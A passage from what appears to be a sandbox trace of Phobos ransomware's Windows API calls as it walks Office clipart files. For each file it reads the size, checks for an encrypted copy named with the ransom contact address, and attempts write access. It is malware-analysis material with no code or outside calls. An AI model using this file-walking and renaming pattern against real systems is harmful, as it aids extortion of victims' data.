Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03012U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03012u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.872] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.872] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03014_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03014_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.873] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=18898) returned 1 [0153.873] CloseHandle (hObject=0x570) returned 1 [0153.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03014_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03014_.gif")) returned 0x220 [0153.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03014_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03014_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.875] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03014_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03014_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.875] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.875] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03041I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03041i.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.876] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=30895) returned 1 [0153.876] CloseHandle (hObject=0x570) returned 1 [0153.876] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03041I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03041i.jpg")) returned 0x220 [0153.876] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03041I.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03041i.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03041I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03041i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.877] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.877] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03143I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03143i.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.877] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=29776) returned 1 [0153.877] CloseHandle (hObject=0x570) returned 1 [0153.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03143I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03143i.jpg")) returned 0x220 [0153.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03143I.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03143i.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.878] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03143I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03143i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.878] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.878] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03205I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03205i.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.879] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=41795) returned 1 [0153.879] CloseHandle (hObject=0x570) returned 1 [0153.879] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03205I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03205i.jpg")) returned 0x220 [0153.879] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03205I.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03205i.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.879] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03205I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03205i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.880] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.880] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03224I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03224i.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0153.913] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=42053) returned 1 [0153.913] CloseHandle (hObject=0x584) returned 1 [0153.913] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03224I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03224i.jpg")) returned 0x220 [0153.913] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03224I.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03224i.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.913] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03224I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03224i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.913] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.913] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03379I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03379i.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0153.914] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=11170) returned 1 [0153.914] CloseHandle (hObject=0x584) returned 1 [0153.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03379I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03379i.jpg")) returned 0x220 [0153.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03379I.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03379i.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.914] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03379I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03379i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.914] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.914] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03380I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03380i.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0153.915] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=12831) returned 1 [0153.915] CloseHandle (hObject=0x584) returned 1 [0153.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03380I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03380i.jpg")) returned 0x220 [0153.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03380I.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03380i.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.916] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03380I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03380i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.916] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.916] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03425I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03425i.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0153.916] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=48558) returned 1 [0153.916] CloseHandle (hObject=0x584) returned 1 [0153.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03425I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03425i.jpg")) returned 0x220 [0153.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03425I.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03425i.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.917] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03425I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03425i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.917] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.917] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PRRT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\prrt.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0153.918] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3830) returned 1 [0153.918] CloseHandle (hObject=0x584) returned 1 [0153.918] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PRRT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\prrt.wmf")) returned 0x220 [0153.918] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PRRT.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\prrt.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.918] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PRRT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\prrt.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.918] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.918] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PRRTINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\prrtinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0153.918] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=31404) returned 1 [0153.918] CloseHandle (hObject=0x584) returned 1 [0153.919] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PRRTINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\prrtinst.wmf")) returned 0x220 [0153.919] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PRRTINST.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\prrtinst.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.919] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PRRTINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\prrtinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.919] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.919] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSRETRO.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\psretro.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0153.919] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=982) returned 1 [0153.919] CloseHandle (hObject=0x584) returned 1 [0153.919] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSRETRO.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\psretro.wmf")) returned 0x220 [0153.920] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSRETRO.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\psretro.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.920] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSRETRO.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\psretro.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.920] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.920] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETLG.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pssketlg.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0153.920] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3594) returned 1 [0153.920] CloseHandle (hObject=0x584) returned 1 [0153.920] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETLG.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pssketlg.wmf")) returned 0x220 [0153.920] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETLG.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pssketlg.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.921] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETLG.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pssketlg.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.921] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.921] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETSM.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pssketsm.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0153.921] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1910) returned 1 [0153.921] CloseHandle (hObject=0x584) returned 1 [0153.921] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETSM.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pssketsm.wmf")) returned 0x220 [0153.921] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETSM.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pssketsm.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.921] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETSM.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pssketsm.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.922] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.922] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSWAVY.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pswavy.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0153.922] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2834) returned 1 [0153.922] CloseHandle (hObject=0x584) returned 1 [0153.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSWAVY.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pswavy.wmf")) returned 0x220 [0153.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSWAVY.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pswavy.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.922] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSWAVY.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pswavy.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.922] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.923] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RE00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\re00006_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0153.923] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1772) returned 1 [0153.923] CloseHandle (hObject=0x584) returned 1 [0153.923] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RE00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\re00006_.wmf")) returned 0x220 [0153.923] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RE00006_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\re00006_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.923] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RE00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\re00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.923] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.923] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RECYCLE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\recycle.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0153.924] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3350) returned 1 [0153.924] CloseHandle (hObject=0x584) returned 1 [0153.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RECYCLE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\recycle.wmf")) returned 0x220 [0153.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RECYCLE.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\recycle.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.924] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RECYCLE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\recycle.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.924] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.924] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00256_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 